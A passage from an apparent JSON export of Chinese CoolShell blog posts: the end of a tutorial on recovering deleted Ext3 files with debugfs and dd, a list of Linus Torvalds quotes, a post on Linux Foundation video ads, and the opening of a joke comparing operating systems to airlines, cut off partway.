style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;Blocks: (0+1): 10234&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;No magic number at block 7247: end of journal.&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;/div&gt;\n&lt;span style=\"font-weight: bold;\"&gt;\n&lt;/span&gt;请注意上面信息中的这一行：\n&lt;div style=\"margin-left: 40px;\"&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;Blocks: (0+1): 10234&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;\n这就是inode 15存放文件的地址（数据块）。然后，我们知道了这个地址，我们就可以使用 dd 命令，把这个地址上的数据给取出来。\n&lt;div style=\"margin-left: 40px;\"&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;#dd if=/dev/sda5 of=/tmp/test.txt bs=4096 count=1 skip= 10234&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;1+0 records in&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;1+0 records out&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;/div&gt;\n&lt;ul&gt;\n\t&lt;li&gt;if 是输入的设备&lt;/li&gt;\n\t&lt;li&gt;of 是输出的设备.&lt;/li&gt;\n\t&lt;li&gt;bs 指定一个block的大小&lt;/li&gt;\n\t&lt;li&gt;count 说明有多少个block需要dump&lt;/li&gt;\n\t&lt;li&gt;skip 说明从开始的地方跳过 10234 个block，并从取下一个block的数据&lt;/li&gt;\n&lt;/ul&gt;\n下面让我们看一下被恢复的文件：\n&lt;div style=\"margin-left: 40px;\"&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;$cat /tmp/test.txt &lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold;\"&gt;&lt;span style=\"font-style: italic;\"&gt;this is test file&lt;/span&gt;&lt;/span&gt;&lt;br style=\"font-style: italic;\" /&gt;&lt;/div&gt;\n&lt;span style=\"font-weight: bold;\"&gt;\n&lt;/span&gt;当然，上面的文件恢复是基于我们知道文件的inode，可在现实中，我们并不知道这个信息，如果我们不知道inode，我们还可能恢复吗？是的，这是可能的，让我们来看一下如何恢复。\n&lt;h4&gt;使用 Journal 和 文件名恢复&lt;/h4&gt;\n如果我们不知道文件的inode我们可能恢复吗？我可以告诉你，这是不可能的事情。不过我们有办法知道文件的inode号。下面让我们来看看怎么做到：\n&lt;div style=\"margin-left: 40px;\"&gt;&lt;span style=\"font-weight: bold; font-style: italic;\"&gt;$rm mytest.txt&lt;/span&gt;&lt;br style=\"font-weight: bold; font-style: italic;\" /&gt;&lt;span style=\"font-weight: bold; font-style: italic;\"&gt;rm: remove write-protected regular file </code>.txt’? y</span><br style=\"font-weight: bold; font-style: italic;\"/></span></div>\n<p>注意，我们并不知道其inode号，但我们可以使用 debugfs 命令来查看（使用其 ls -d 选项）。</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">debugfs:  ls -d</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\"> 2  (12) .    2  (12) ..    11  (20) lost+found    2347777  (20) oss</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">&lt;2121567&gt; (20) mytest.txt</span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<p>你看文件名了吧，它的inode号是 &lt;2121567&gt; ，注意，被删除了的文件的inode都是用尖括号包起来的。</p>\n<p>即然知道了inode号，那么我们就很容易恢复了（使用 logdump选项）：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">debugfs:  logdump -i &lt;2121567&gt;</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">Inode 2121567 is at group 65, block 2129985, offset 3840</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">Journal starts at block 1, transaction 405642</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">  FS block 2129985 logged at sequence 405644, journal block 9</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    (inode block for inode 2121567):</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Inode: 2121567   Type: bad type        Mode:  0000   Flags: 0x0   Generation: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    User:     0   Group:     0   Size: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    File ACL: 0    Directory ACL: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Links: 0   Blockcount: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Fragment:  Address: 0    Number: 0    Size: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    ctime: 0x00000000 — Thu Jan  1 05:30:00 1970</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    atime: 0x00000000 — Thu Jan  1 05:30:00 1970</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    mtime: 0x00000000 — Thu Jan  1 05:30:00 1970</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Blocks:</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">  FS block 2129985 logged at sequence 405648, journal block 64</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    (inode block for inode 2121567):</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Inode: 2121567   Type: regular        Mode:  0664   Flags: 0x0   Generation: 913772093</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    User:   100   Group:     0   Size: 31</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    File ACL: 2130943    Directory ACL: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Links: 1   Blockcount: 16</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Fragment:  Address: 0    Number: 0    Size: 0</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    ctime: 0x4821d5d0 — Wed May  7 21:46:16 2008</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    atime: 0x4821d8be — Wed May  7 21:58:46 2008</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    mtime: 0x4821d5d0 — Wed May  7 21:46:16 2008</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    Blocks:  (0+1): 2142216</span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<p>上面有很多信息，让我们仔细地查看，你可以看到下面一行信息：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\"> FS block 2129985 logged at sequence 405644, journal block 9</span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<p>并且，其类型是：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\"> Type: bad type </span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<p>再仔细看一下文件的时间戳下面的<span style=\"font-weight: bold; font-style: italic;\">Blocks:</span> 什么也没有。那么，让我们看一下下一个block：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">FS block 2129985 logged at sequence 405648, journal block 64</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">    (inode block for inode 2121567):</span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<p>这一条Journal就有block信息了：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">Blocks:  (0+1): 2142216</span></div>\n<p>这就是被删除文件的地址，让我们再次运行恢复命令：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">$sudo dd if=/dev/sda5 of=/home/hchen/mytest_recovered.txt bs=4096 skip=2142216 count=1</span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<p>再让我们来检查一下文件内容：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">$ cat mytest_recovered.txt</span><br style=\"font-weight: bold; font-style: italic;\"/><span style=\"font-weight: bold; font-style: italic;\">this is my test file </span><br style=\"font-weight: bold; font-style: italic;\"/></div>\n<h4>小结</h4>\n<p>好了，下面是我们的一些总结：<br/>\n<span style=\"font-weight: bold;\">1)使用 debugfs: ls -d 找到被删除文件的inode号。</span><br style=\"font-weight: bold;\"/><span style=\"font-weight: bold;\">2)使用 debugfs:logdump找到文件的数据块地址。</span><br style=\"font-weight: bold;\"/><span style=\"font-weight: bold;\">3)使用dd 命令把数据取出来存成文件。</span></p>\n<p>网上有很其它不同的方法来恢复文件，基本上也是使用debugfs这个命令，有的还使用到了lsdel，其实大同小异，这个教程是我在网上看到的，虽然他说只是针对Ext3文件系统的，但我总感觉应该可以用于Ext2文件系统，不过我没有试过。也许Ext2和Ext3被debugfs输出的信息不一样吧。大家可以去试试。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/424.html\"><img alt=\"PDF电子书搜索引擎\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3649.html\"><img alt=\"TDD并不是看上去的那么美\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1265.html\">恢复Ext3下被删除的文件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-16 Linus Torvalds 语录 Top 10.html",
    "content": "<html><body><p><img alt=\"linus torvalds\" class=\"alignright\" height=\"218\" src=\"../wp-content/uploads/2009/08/linus_torvalds_talking.jpg\" title=\"linus torvalds\" width=\"144\"/>下面是Linux的创始人Linus Torvalds的一些言论，这是我个人认为最有意思的10句。如果你想看更多的Linus Torvalds说过的话，你可以看看他在维基百科上的词条：<a href=\"http://en.wikiquote.org/wiki/Linus_Torvalds\" target=\"_blank\">Linux Torvalds</a>。我们在下面给出中英文对照，希望你能喜欢。</p>\n<blockquote><p>“Really, I’m not out to destroy Microsoft. That will just be a completely unintentional side effect ” （真的，我并不是想要干掉Microsoft，如果真是那样了，那完全是一个无意的副作用）——”The Way We Live Now: Questions for Linus Torvalds”, 接受《New York Times》的采访， 2003-09-28.</p></blockquote>\n<blockquote><p>“Only wimps use tape backup: _real_ men just upload their important stuff on ftp, and let the rest of the world mirror it”（只有愚昧的人才会用磁带来做备份，真正聪明的人会上传他们最重要的东西到FTP服务器上，而剩下事情是，让世界各地的人来镜像这些东西）——(1996-07-20). <a href=\"http://groups.google.com/groups?selm=Pine.LNX.3.91.960720095713.20645F-100000%40linux.cs.Helsinki.FI\" rel=\"nofollow\" title=\"http://groups.google.com/groups?selm=Pine.LNX.3.91.960720095713.20645F-100000%40linux.cs.Helsinki.FI\">在linux.dev.kernel 新闻组上的一个贴子</a></p></blockquote>\n<p><span id=\"more-1278\"></span></p>\n<blockquote><p>“Software is like sex; it’s better when it’s free.” （软件就像是性一样，仅当是自由的时候才会更好）—— 1996 的FSF 大会， <a href=\"http://www.argentilinux.com.ar/doku.php/linux_videos_documentales:the_code_linux\" rel=\"nofollow\" title=\"http://www.argentilinux.com.ar/doku.php/linux_videos_documentales:the_code_linux\">相关视频</a>。</p></blockquote>\n<blockquote><p>“Is “I hope you all die a painful death” too strong?”（“我希望你们所有人在痛苦中死去”这句话是不是太强硬啦？）——这句话是，Linus是在拒绝某些硬件产商想在Linux的内核中植入特定的硬件处理程序，对那些硬件产商说的。</p></blockquote>\n<blockquote><p>“Most days I wake up thinking I’m the luckiest bastard alive.”（很多天当我醒来的时候，我想到我是世界上最幸运的还活着的混蛋）—— <cite id=\"CITEREFTorvalds.2C_Linus_and_David_Diamond2001\" style=\"font-style: normal;\">Linus  <cite id=\"CITEREFTorvalds.2C_Linus_and_David_Diamond2001\" style=\"font-style: normal;\">Torvalds </cite>和David Diamond (2001). <em>Just for Fun: The Story of an Accidental Revolutionary.</em></cite></p></blockquote>\n<blockquote><p>“An infinite number of monkeys typing into GNU emacs would never make a good program.” （即使是无穷多个猴子在GNU的emacs中输入东西，那也不会写出一段好的程序）—— 出自 <a href=\"http://www.linuxhq.com/kernel/v1.3/53/Documentation/CodingStyle\" rel=\"nofollow\" title=\"http://www.linuxhq.com/kernel/v1.3/53/Documentation/CodingStyle\">Linux 1.3.53 编程风格</a></p></blockquote>\n<blockquote><p>“Talk is cheap. Show me the code.”（能说算不上什么，有本事就把你的代码给我看看）—— 2000-08-25， <a href=\"http://lkml.org/lkml/2000/8/25/132\" rel=\"nofollow\" title=\"http://lkml.org/lkml/2000/8/25/132\">给linux-kernel 邮件列表的一封邮件</a></p></blockquote>\n<blockquote><p>“I’m a bastard. I have absolutely no clue why people can ever think otherwise. Yet they do. People think I’m a nice guy, and the fact is that I’m a scheming, conniving bastard who doesn’t care for any hurt feelings or lost hours of work, if it just results in what I consider to be a better system. And I’m not just saying that. I’m really not a very nice person. I can say “I don’t care” with a straight face, and really mean it.” （我是一个混蛋。我完全不知道人们为什么会从另外一个角度来看我，但是他们确实是（那么做的）。人们认为我是个好人，但事实上我是个诡计多端的混蛋，只要最终能得到我所认为的更好的系统，那么我对任何感情的伤害或工作时间的损失都不在乎。我并不只是（在口头上）说说而已，我真的不是一个很好的人。我能面无表情地说“我不在乎”，而且我确实不在乎。）—— 2000-09-06，<a href=\"http://lkml.org/lkml/2000/9/6/65\" rel=\"nofollow\" title=\"http://lkml.org/lkml/2000/9/6/65\">给 linux-kernel 邮件列表的邮件</a></p></blockquote>\n<blockquote><p>“Those that can, do. Those that can’t, complain.”（那些能做的人就做，不能做的人就只会抱怨）——2003-09-23， <a href=\"http://kerneltrap.org/node/901\" rel=\"nofollow\" title=\"http://kerneltrap.org/node/901\">给Linux Kernel 邮件列表</a> （注意：Linus只是借用了一下这个句型，这个引言的原创在<a href=\"http://shlomif.livejournal.com/39215.html\" target=\"_blank\">这里</a>）</p></blockquote>\n<blockquote><p>“You see. I don’t think any new thoughts. I think thoughts that other people have thought, and I rearrange them. But Sara, she thinks thoughts that never were before.”（您看，我没有任何新的想法。我的想法都是别人已经想过的，而我只是去重新组织一下别人的想法。但是莎拉不一样，她的想法是从来没有人想过的）—— 这是Linus给和他的母亲说起他的姐姐Sara。</p></blockquote>\n<p>维基百科上的“<a href=\"http://en.wikiquote.org/wiki/Linus_Torvalds\" target=\"_blank\">Linus Torvald 词条</a>”上有很多他的语录，你不妨去看看，你喜欢哪些呢？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9917.html\"><img alt=\"Alan Cox：大教堂、市集与市议会\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1278.html\">Linus Torvalds 语录 Top 10</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-16 Linux基金会的广告.html",
    "content": "<html><body><p><strong>今年早些时候，Linux基金会发起了一项面向制作人和一般Linux爱好者的活动，创造60秒创意的广告并评奖。</strong></p>\n<p>Linux基金会并没有苹果和微软这样大的投入来聘请大腕，但这次评选出来的好广告却一点也不输于他们，Linux社团的参与力和灵感可见一斑。<strong>本次活动获胜的奖品是免费前往东京参与Linux专题研讨会，评奖结果是：</strong></p>\n<p>第一：“<a href=\"http://video.linuxfoundation.org/video/1106\" target=\"_blank\" title=\"What does it mean to be free?\">What does it mean to be free?</a>”<br/>\n第二：“<a href=\"http://video.linuxfoundation.org/video/1262\" target=\"_blank\" title=\"The Origin\">The Origin,</a>”<br/>\n第三：“<a href=\"http://video.linuxfoundation.org/video/1154\" target=\"_blank\" title=\"Linux pub\">Linux pub</a>”</p>\n<p> 下面是广告片的视频</p>\n<p><span id=\"more-1283\"></span></p>\n<h4>What does it mean to be free?</h4>\n<p><br/>\n </p>\n<h4>The Origin (起源)</h4>\n<p></p>\n<h4>Linux Pub</h4>\n<p>下面的视频需要你能够访问YouTube（你可以上Google搜索如何访问YouTube的方法）<br/>\n</p>\n<p>还有很多很不错的作品，比如：</p>\n<ul>\n<li><a href=\"http://video.linuxfoundation.org/video/1271\" target=\"_blank\">The Future is Open</a></li>\n<li><a href=\"http://video.linuxfoundation.org/video/1261\">Challenges at the Office</a></li>\n</ul>\n<p>更多的视频，你可以上Linux基金会的网站上看看，也一样地非常地有创意。</p>\n<p><a href=\"http://video.linuxfoundation.org/category/video-category/-linux-foundation-video-contest\" target=\"_blank\">http://video.linuxfoundation.org/category/video-category/-linux-foundation-video-contest</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1283.html\">Linux基金会的广告</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-16 操作系统航空公司.html",
    "content": "<html><body><p><img alt=\"Linux 航空公司\" class=\"alignright size-full wp-image-1276\" height=\"180\" src=\"../wp-content/uploads/2009/08/linux_airline.jpg\" title=\"Linux 航空公司\" width=\"240\"/> 我们知道，不同的操作系统有不同的系统，不同的风格，那么，如果操作系统和航空公司，会是怎么样的一种情况？让我们尝试地来做这样一个幽默的类比，把操作系统的特点带到航空公司，让我们看看会是怎么样的一个情况。</p>\n<p><strong>UNIX Airways</strong></p>\n<p>Unix航空公司需要每一个人在乘机的时候带上一个飞机零件，他们会在飞机跑道上把飞机的这些零件一片一片地组装起来，然后，在不停地争论着倒底是要建造什么样的飞机。是AIX，还是Solaris？是FreeBSD还是HP-UX？……</p>\n<p><strong>Air DOS</strong></p>\n<p>DOS 航空公司的飞机需要每一位乘客在后面推飞机直到飞机开始滑行，然后他们跳上飞机并且跟着飞机一起沿着海岸滑行直至飞机再次掉到地面，然后乘客们再次推动飞机，然后跳上飞，如此循环不止……</p>\n<p><span id=\"more-1272\"></span></p>\n<p><strong>Mac Airlines</strong></p>\n<p>Mac航空公司中，所有的乘务员，机长，行李搬运工，和机票代理无论是看上去还是行为上都是完全一致的。每次当你询问细节的时候，他们都会很绅士地但很坚定地告诉你，你不需要知道那么多的细节，也没有必要知道，所有一切的事情都已经在你不需要知道的情况下完成了，所以，你只需要shut up。</p>\n<p><strong>Windows Air</strong></p>\n<p>Windows航空公司的航站楼是那么的漂亮和多彩，并且有非常友好的乘务员，相当简单的行李和乘机手续，同样平滑的离站程序。但是，当飞机起飞10分钟后，通常飞机会在没有任何警告的情况下就爆炸了。</p>\n<p><strong>Windows NT Air</strong></p>\n<p>Windows NT航空公司和Windows航空公司一样，但是他的成本更高，使用更大型的飞机，并且当其爆炸的时候，你可以换乘在40英里半径内的其它飞行器。</p>\n<p><strong>Windows XP Air</strong></p>\n<div dir=\"ltr\" id=\"result_box\" style=\"TEXT-ALIGN: left;\">您所在的这个机场，根据合同，只允许乘坐XP的航空飞机。所有的飞机是相同的，明亮的色彩，以及比原来的需要大3倍。XP航空公司的标志是巨大的，并都指向相同的方向。无论你走哪一条路，有些身穿斗篷和戴着尖角帽子的人会坚持地跟着你走。你的行李和衣物都会被拿走并被XP航空套装和相同的XP手提箱所取代，你周围的人都和你有一样套装和手提箱，当然，这些东西的成本都会包含在机票中。如果你不签合，飞机不会起飞。飞机途中的娱乐表演承诺和实际是一样的，那就是米老鼠动画片会一遍一遍地播放。在你需要吃东西喝饮料的前，你不得不先打电话给你的旅行社。在整个航行过程中你都被会搜索。如果你去厕所两次以上，你得再补一张票。无论你所预订的目的地是哪里，你永远都会最终被迫降在加拿大的惠斯勒（Whistler）。</div>\n<p><strong> OS X Air</strong></p>\n<p>你进入了一个白色的航站楼，你所能看到的是一个坐在角落白桌子后面的一位女士，你走上去取你的机票。她微笑地对你说，“欢迎乘座OS 